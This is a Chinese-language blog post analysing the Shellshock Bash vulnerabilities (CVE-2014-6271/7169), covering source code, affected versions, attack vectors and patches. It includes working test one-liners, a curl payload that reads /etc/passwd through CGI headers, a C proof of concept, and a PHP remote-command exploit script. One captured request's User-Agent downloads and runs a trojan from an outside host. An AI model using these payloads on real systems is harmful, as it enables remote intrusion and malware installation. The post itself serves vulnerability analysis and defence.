CVE: 2014-6271、CVE: 2014-7169 Bash Specially-crafted Environment Variables Code Injection Vulnerability Analysis

目录

1. 漏洞的起因
2. 漏洞原理分析
3. 漏洞的影响范围
4. 漏洞的利用场景
5. 漏洞的POC、测试方法
6. 漏洞的修复Patch情况
7. 如何避免此类漏洞继续出现

 

1. 漏洞的起因

为了理解这个漏洞,我们需要先理解两个基本概念

0x1: Bash的环境变量

1. 只能在当前shell中使用的"局部变量"
var="hello world"
echo $var 

2. 在子进程中也可以使用的"全局变量"
export var="hello world"
echo $var 
bash 
echo $var

0x2: Bash的函数

1. 定义一个只能在当前shell使用的函数
foo(){ echo "hello world"; }
foo 

2. 定义一个可以在子进程中使用的"全局函数"
foo(){ echo "hello world"; }
foo 
export -f foo 
bash
foo 

从这里我们可以看出,Bash在对待函数和对待变量都是一样的,根本来说都是变量,而Bash判断一个环境变量是不是一个函数,就看它的值是否以"()"

0x3: 对环境变量进行了代码执行

1. 黑客定义了这样的环境变量( 注:() 和 { 间的空格不能少)
export A='() { echo "hello world"; }; echo "2333";' 

2. env一下,你会看到X已经在了
env | grep A

3. 在当前的bash shell进程下产生一个bash的子进程时,新的子进程会读取父进程的所有export的环境变量,并复制到自己的进程空间中,同时予以执行 
bash

4. 函数体外面的代码被默认地执行了 

事实上,我们并不需要创建另一个bash子进程,我们可以使用bash -c的参数来执行一个bash子进程命令

env VAR='() { :;}; echo Bash is vulnerable!' bash -c "echo Bash Test"

0x4: AfterShock – CVE-2014-7169 Bypass POC 分析

env X='() { (a)=>\' sh -c "echo date"; cat echo

对这个bypass我们可以这样理解

1. X='() { (a)=>\’ 
定义一个X的环境变量。但是,这个函数不完整,\’不是为了单引号的转义,而是换行符的意思

2. X这个变量的值就是 () { (a)=>\ 
其中的 (a)=这个东西目的就是为了让bash的解释器出错(语法错误),类似SQL注入中的Error Based Injection 
语法出错后,在缓冲区中就会只剩下了 ">\"这两个字符。 

3. bash会把后面的命令echo date换个行放到这个缓冲区中,然后执行  
相当于在shell 下执行了下面这个命令:
$ >\
echo date

4. >echo date就是一个重定向,上述的命令相当于:
date > echo 

5. 当前目录下会出现一个echo的文件
这个文件的内容就是date命令的输出

Relevant Link:

http://coolshell.cn/articles/11973.html
http://ss64.com/bash/env.html http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-6271 http://seclists.org/oss-sec/2014/q3/651 https://access.redhat.com/node/1200223 http://seclists.org/oss-sec/2014/q3/650 https://community.qualys.com/blogs/securitylabs/2014/09/24/bash-remote-code-execution-vulnerability-cve-2014-6271

 

2. 漏洞原理分析

这次的Bash漏洞从本质上属于"代码注入(code inject)",我们可以将SQL注入和本次的Bash漏洞进行一个横向对比

1. 都存在明显的"数据""指令"的分界线
2. 数据和指令都允许用户通过"参数"的形式进行拼接
3. 对用户的输入数据都没有进行严格的过滤、转义、边界检查就直接带入敏感函数
4. 对报错逻辑、执行结果没有进行有效的控制,直接回显给用户

我们已经知道,真正导致命令任意执行的原因是"Code Injection",即代码注入,这是Stephone的原话

Under certain circumstances, bash will execute user code while processing the environment for exported function definitions.

接下来,我们以bash-3.2版本的源代码为例进行分析

http://download.chinaunix.net/download.php?id=24862&ResourceID=7

\bash-3.2\builtins\evalstring.c

...
if (interactive_shell == 0 && read_but_dont_execute)
{
    last_result = EXECUTION_SUCCESS;
    dispose_command (global_command);
    global_command = (COMMAND *)NULL;
}
else if (command = global_command)
{
    struct fd_bitmap *bitmap;  

    /*
    这里没有对传入的command进行正确的边界检查,引入了代码注入的可能性
    */

    bitmap = new_fd_bitmap (FD_BITMAP_SIZE);
    begin_unwind_frame ("pe_dispose");
    add_unwind_protect (dispose_fd_bitmap, bitmap);
    add_unwind_protect (dispose_command, command);    /* XXX */

    global_command = (COMMAND *)NULL;
...

\bash-3.2\variables.c

这个文件负责对bash中的变量进行解析,我们在ENV中进行的临时环境变量设置,将在这个文件中完成

/* 
Initialize the shell variables from the current environment. If PRIVMODE is nonzero, don't import functions from 
ENV 
or
parse $SHELLOPTS. 
*/
void initialize_shell_variables (env, privmode) char **env; int privmode;
{
    ...
    create_variable_tables ();
    
    /*
    从ENV环境变量中获取参数
    */
    for (string_index = 0; string = env[string_index++]; )
    {
        char_index = 0;
        name = string;
        while ((c = *string++) && c != '=') ;
        if (string[-1] == '=')
            char_index = string - name - 1;

        /* If there are weird things in the environment, like `=xxx' or a
            string without an `=', just skip them. */
        if (char_index == 0)
            continue;

        /* ASSERT(name[char_index] == '=') */
        name[char_index] = '\0';
        /* 
        Now, name = env variable name, string = env variable value, and char_index == strlen (name) 
        */

        /* 
        If exported function, define it now.  Don't import functions from the environment in privileged mode.
        解析环境变量设置中的函数定义
        */
        if (privmode == 0 && read_but_dont_execute == 0 && STREQN ("() {", string, 4))
        {
            string_length = strlen (string);
            temp_string = (char *)xmalloc (3 + string_length + char_index);

            strcpy (temp_string, name);
            temp_string[char_index] = ' ';

            strcpy (temp_string + char_index + 1, string);

            /*
            这句是关键,initialize_shell_variables对环境变量中的代码进行了执行,由于它错误的信任的外部发送的数据,形成了和SQL注入类似的场景,这句代码和PHP中的eval是类似的,黑客只要满足2个条件
            1. 控制发送的参数,并在其中拼接payload
            2. 黑客发送的包含payload的参数会被无条件的执行,而执行方不进行任何的边界检查

            这就是典型的数据和代码没有进行正确区分导致的漏洞
            */
            parse_and_execute (temp_string, name, SEVAL_NONINT|SEVAL_NOHIST);

            // Ancient backwards compatibility.  Old versions of bash exported functions like name()=() {...} 
            if (name[char_index - 1] == ')' && name[char_index - 2] == '(')
                name[char_index - 2] = '\0'; 

            if (temp_var = find_function (name))
            {
                VSETATTR (temp_var, (att_exported|att_imported));
                array_needs_making = 1;
            }
            else
                report_error (_("error importing function definition for `%s'"), name);

            /* ( */
            if (name[char_index - 1] == ')' && name[char_index - 2] == '\0')
                name[char_index - 2] = '(';        /* ) */
        }
    }
}

从这个角度来看,这种漏洞应该采用防御SQL注入的思路来进行,对漏洞原理进行一下总结

1. bash(本地、ssh、cgi)允许使用ENV进行path临时设置 
2. 黑客通过自定义函数,并导出到变量中
3. BASH对环境变量的设置是通过"代码执行(EVAl)"完成的,即把ENV的参数当成code来执行,这在正常情况下是没有问题的
4. 问题的关键是BASH没有对传入的参数进行正确的边界检查,导致数据和代码的混杂,产生了和PHP EVAL Code InJection类似的漏洞
env x='() { :;}; echo vulnerable'
5. 代码注入的关键点在
; echo vulnerable

Relevant Link:

http://ftp.gnu.org/pub/gnu/bash/bash-3.2-patches/bash32-052
http://sourcecodebrowser.com/bash/4.0/evalstring_8c.html

 

3. 漏洞的影响范围

0x1: 存在源代码漏洞的Bash版本

这个漏洞属于代码级漏洞,所以漏洞的影响范围和Bash的源代码版本有关

bash-4.2.45-5.el7_0.2     
bash-4.1.2-15.el6_5.1 
bash-4.1.2-15.el6_5.1.sjis.1
bash-4.1.2-9.el6_2.1     
bash-4.1.2-15.el6_4.1     
bash-3.2-33.el5.1    
bash-3.2-33.el5_11.1.sjis.1    
bash-3.2-24.el5_6.1    
bash-3.2-32.el5_9.2    
bash-3.0-27.el4.2

0x2: Bash漏洞影响到的上层依赖程序(辐射现象)

对这个漏洞我们需要进行客观的评估,并不能认为只要是依赖了Bash就一定是"通杀",真正存在Bash漏洞并能够被黑客利用的漏洞存在于那些"无脑接收"远程用户发送的、并且"本地依赖Bash的程序还会将这个参数传入环境变量设置函数中",同时满足这个条件,这个Bash才能真正称之为一个可转为攻击向量的漏洞

1. SSHD会基于ForceCommand配置,这个漏洞可以绕过限制去执行任何命令
http://seclists.org/oss-sec/2014/q3/651

2. Git和Subversion部署环境下的同样会对shell进行限制,但同样也存在同样的问题

3. 基于漏洞的僵尸网络
http://www.freebuf.com/news/45281.html

4. Apache服务器使用mod_cgi或者mod_cgid,如果CGI脚本在BASH或者运行在子SHELL里会受到影响

5. 子Shell中使用C的system/popen,Python中使用os.system/os.popen,PHP中使用system/exec(CGI模式)和Perl中使用open/system的情况都会受此漏洞影响

5. DHCP客户端调用shell脚本接收远程恶意服务器的环境变量参数值的情况会被此漏洞利用

6. 守护进程和SUID程序在环境变量设置的环境下执行SHELL脚本也会受到影响

7. Cisco设备
http://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20140926-bash

 

4. 漏洞的利用场景

0x1: 攻击的场景

我们在第2小结分析了Bash的环境变量解析存在的漏洞,但是正如Redhat官网的issue所说的,bash的这个漏洞只能算是本机任意指令执行漏洞,还不能算是远程代码执行,要达到远程代码执行,还需要其他方式的配合,我们来梳理一下思路,要发动这个攻击,需要满足以下几个条件

1. 必须存在对BASH的调用:因为只有Bash存在这个环境变量解析漏洞
    1) 可以是本地交互的SHELL(就是poc的代码所证实的场景)
    2) WEB接口对Bash的调用接口(例如 Bash CGI 即xxx.sh)

2. 我们要能够控制Bash执行的环境变量
    1) 因为这个代码的注入点是在Bash的环境变量的设置中的
    官方给出的ENV的那个poc,是了更好地解释这个原理

3. 接口会将我们传入的包含payload code参数带入环境变量中

4. 接口要能够将我们注入的代码执行结果返回回来
    1) 这才能完成一个完整的代码注入流程

0x2: 攻击发动向量

根据这些先决条件,我们可以得到一些攻击向量,我们这个时候发现,Bash CGI(xxx.sh)正好满足以上的这几个条件

1. Linuc WEB Server提供的CGIL接口允许我们通过远程HTTP方式进行Bash调用
2. 客户端可以任意修改发送的HTTP头部的字段参数
3. Bash CGI会将客户端发送的HTTP数据包的HTTP头部的字段作为ENV的参数传入环境变量的设置函数中,也就是说,Bash CGI默认将HTTP头部参数作为环境变量设置源
/*
最终变成这样
HTTP_USER_AGENT() {
    :;
};
*/
4. 当我们的Code Inject Payload被传入Bash的环境设置函数之后,注入的代码被成功解析执行,代码执行的结继续以"环境变量"的形式保存在环境变量中
5. Bash CGI会返回的HTTP数据包中会将环境变量一并发送回客户端
//整个流程构成了一次完整的代码注入攻击

shell.sh

#!/bin/bash
echo "Content-type: text/html"
echo ""

echo "<html>"
#下面这句不要也可以,加上这句只是为了更清晰的看出注入的结果
#/usr/bin/env
echo "</html>"

payload

curl -H 'x: () { :;};a=`/bin/cat /etc/passwd`;echo "a: $a"' 'http://localhost/cgi-bin/shell.sh' -I

 

5. 漏洞的POC、测试方法

0x1: 本地SHELL环境中测试是否有漏洞方法

poc: 
env x='() { :;}; echo vulnerable'  bash -c "echo this is a test"

expected result: 
vulnerable
this is a test

//如果出现这个结果,则说明本机的bash存在漏洞

0x2: C程序

/* CVE-2014-6271 + aliases with slashes PoC - je [at] clevcode [dot] org */
#include <unistd.h>
#include <stdio.h>
 
int main()
{
    char *envp[] = {
        "PATH=/bin:/usr/bin",
        "/usr/bin/id=() { "
        "echo pwn me twice, shame on me; }; "
        "echo pwn me once, shame on you",
        NULL
    };
    char *argv[] = { "/bin/bash", NULL };
 
    execve(argv[0], argv, envp);
    perror("execve");
    return 1;
}

0x3: 自动化测试方法

<?php
/*
Title: Bash Specially-crafted Environment Variables Code Injection Vulnerability
CVE: 2014-6271
Vendor Homepage: https://www.gnu.org/software/bash/
Author: Prakhar Prasad && Subho Halder
Author Homepage: https://prakharprasad.com && https://appknox.com
Date: September 25th 2014
Tested on: Mac OS X 10.9.4/10.9.5 with Apache/2.2.26
       GNU bash, version 3.2.51(1)-release (x86_64-apple-darwin13)
Usage: php bash.php -u http://<hostname>/cgi-bin/<cgi> -c cmd
       Eg. php bash.php -u http://localhost/cgi-bin/hello -c "wget http://appknox.com -O /tmp/shit"
Reference: https://www.reddit.com/r/netsec/comments/2hbxtc/cve20146271_remote_code_execution_through_bash/
 
Test CGI Code : #!/bin/bash
        echo "Content-type: text/html"
        echo ""
        echo "Bash-is-Vulnerable"
 
*/
error_reporting(0);
if(!defined('STDIN')) die("Please run it through command-line!\n");
$x  = getopt("u:c:");
if(!isset($x['u']) || !isset($x['c']))
{
die("Usage: ".$_SERVER['PHP_SELF']." -u URL -c cmd\n");
 
}
$url = $x['u'];
$cmd = $x['c'];
 
    $context = stream_context_create(
        array(
            'http' => array(
                'method'  => 'GET',
                'header'  => 'User-Agent: () { :;}; /bin/bash -c "'.$cmd.'"'
            )
        )
    );
     
    if(!file_get_contents($url, false, $context) && strpos($http_response_header[0],"500") > 0)
    die("Command sent to the server!\n");
    else
    die("Connection Error\n");
?>
 

除此之外,还可以使用

http://shellshock.brandonpotter.com/

0x5: 抓包

GET /yourip/cgi-bin/xxx.cgi?id=20 HTTP/1.1 
Host: your.hostname.com 
User-Agent: '() { :;};' /usr/bin/wget http://muma.com/muma -O /tmp/muma.sh   ;chmod 777 /tmp/muma.sh; ./tmp/muma.sh
Accept: */*
Referer: http://www.baidu.com
Connection: keep-alive

0x6: 其他攻击向量

1. httpd
    1) webserver常常将Referer、UserAgent、header等参数作为环境变量的设置源  2) 服务器提供了CGI脚本,当 CGI script被webserver执行的时候,CGI Script会去调用Bash
黑客可以通过开启了CGI的httpd服务器进行远程代码执行

2. Secure Shell (SSH)
对于git、rsync这类远程shell来说,常常会对用户可以执行的指令进行严格限制,但是这个BASH解析漏洞提供了一个bypass的向量

3. dhclient
动态主机配置协议客户端(dhclient的)被用来通过DHCP自动获取网络配置信息。该客户端使用不同的环境变量和运行bash来配置网络接口。连接到一个恶意的DHCP服务器可能允许攻击者在客户机上运行任意代码。
黑客通过在域中的DHCP服务器中对DHCP的回送包进行特定的修改,可以达到污染dhcpclient的环境变量参数的目的,从而进行远程代码执行

4. CUPS

5. sudo

6. Firefox

Relevant Link:

http://www.exploit-db.com/exploits/34766/
http://drops.wooyun.org/papers/3064
http://blog.csdn.net/jiayanhui2877/article/details/39584003

 

6. 漏洞的修复Patch情况

0x1: 漏洞的修复思想

从攻击方法上来看,这种漏洞属于边界检查缺失导致的代码注入漏洞,所以我们的修复思路也应该从这两个方面入手

1. 进行正确的边界检查,严格区分函数定义和代码注入
2. 对输入参数进行参数化防御,不允许除了允许范围之外的参数传入

builtins/common.h

/* Flags for describe_command, shared between type.def and command.def */
#define SEVAL_FUNCDEF   0x080    /* only allow function definitions */
#define SEVAL_ONECMD  0x100    /* only allow a single command */

builtins/evalstring.c

if ((flags & SEVAL_FUNCDEF) && command->type != cm_function_def)
{
    internal_warning ("%s: ignoring function definition attempt", from_file);
    should_jump_to_top_level = 0;
    last_result = last_command_exit_value = EX_BADUSAGE;
    break;
}
..
if (flags & SEVAL_ONECMD)
    break;

0x2: 修复Patch的一波三折

为了修补这个漏洞,redhat官方前前后后折腾了好几次

http://www.cnblogs.com/LittleHann/p/3993927.html

0x3: GNU/Linux发行版社区发布的补丁

http://ftp.gnu.org/pub/gnu/bash/bash-3.0-patches/bash30-017 
http://ftp.gnu.org/pub/gnu/bash/bash-3.1-patches/bash31-018 
http://ftp.gnu.org/pub/gnu/bash/bash-3.2-patches/bash32-052 
http://ftp.gnu.org/pub/gnu/bash/bash-4.0-patches/bash40-039 
http://ftp.gnu.org/pub/gnu/bash/bash-4.1-patches/bash41-012 
http://ftp.gnu.org/pub/gnu/bash/bash-4.2-patches/bash42-048 
http://ftp.gnu.org/pub/gnu/bash/bash-4.3-patches/bash43-025
//bypass之后的第二套修补补丁
https://rhn.redhat.com/errata/RHSA-2014-1306.html

Relevant Link:

http://ftp.gnu.org/pub/gnu/bash/bash-3.2-patches/bash32-052

 

7. 如何避免此类漏洞继续出现

从这次应急响应的过程来看,我们我们从中得到几点思考

1. 安全攻防的应急响应是一个"战线",这丝毫不夸张,在高危漏洞爆发的那一刻,所有的攻防措施都应该以秒作为单位,应急响应的处理流程应该和传统的攻防模式(感知->阻断->修复)有所区分。在大规模漏洞的应急响应中,有2点是
很重要的
1) 在第一时间进行waf的hotpatch,阻断外部的攻击 2) 分析出漏洞的成因,向用户发布响应公告,安抚客户的心态 2. 不应该出现一个patch一出现,就立刻被绕过的现象 漏洞的修复是一件很严肃的事情,不管是正常模式下的攻防过程中的漏洞修复,还是应急相应下的漏洞修复,都不应该牺牲任何的完备性去简单的修改几行代码。今后在做漏洞修复的时候,必须要完成基本的几个流程 1) 分析漏洞原理 2) 枚举攻击方式 3) 通过修改代码,找到针对性修复方案 4) 得到方案后,至少要有1~2天的逆向测试周期,fuzz测试等手段。可以手工,也可以凭经验进行,但是时间是必不可少的,着急上线只会引入更多的漏洞和bypass后的尴尬 3. 如何避免和更好的发现这种代码级的漏洞 从漏洞攻防的历史上来看,安全研究员永远落后于黑客似乎是一个魔咒,而且好像好是不可避免的魔咒。但是并不意味着黑客可以永远强势,我么的产品研发人员需要时刻保持逆向思维,在设计方案和产品运营的时候多从反的反面去思考 1) 如果是黑客,他会采取怎样的姿势去攻击 2) 我们的产品会不会反过来被黑客利用 3) 从极限领域的角度去思考,例如某个进程现在发现的可以同时启动多个进程、程序可以被kill、程序的磁盘文件可以被删除,在这些特殊的场景下,我们的产品(程序)还能不能正常发挥原来的设计思想 4) CMS漏洞攻防中流行的2次注入、3次注入都是发生在一些及其特殊的先决场景下的,只有把这些场景考虑到了,才不会给黑客利用的机会 4. 像黑客一样去思考 时不时地"搞搞"自己家的东西

 

Copyright (c) 2014 LittleHann All rights reserved

 

posted @ 2014-09-25 14:42 .Little Hann 阅读(...) 评论(...) 编辑 收藏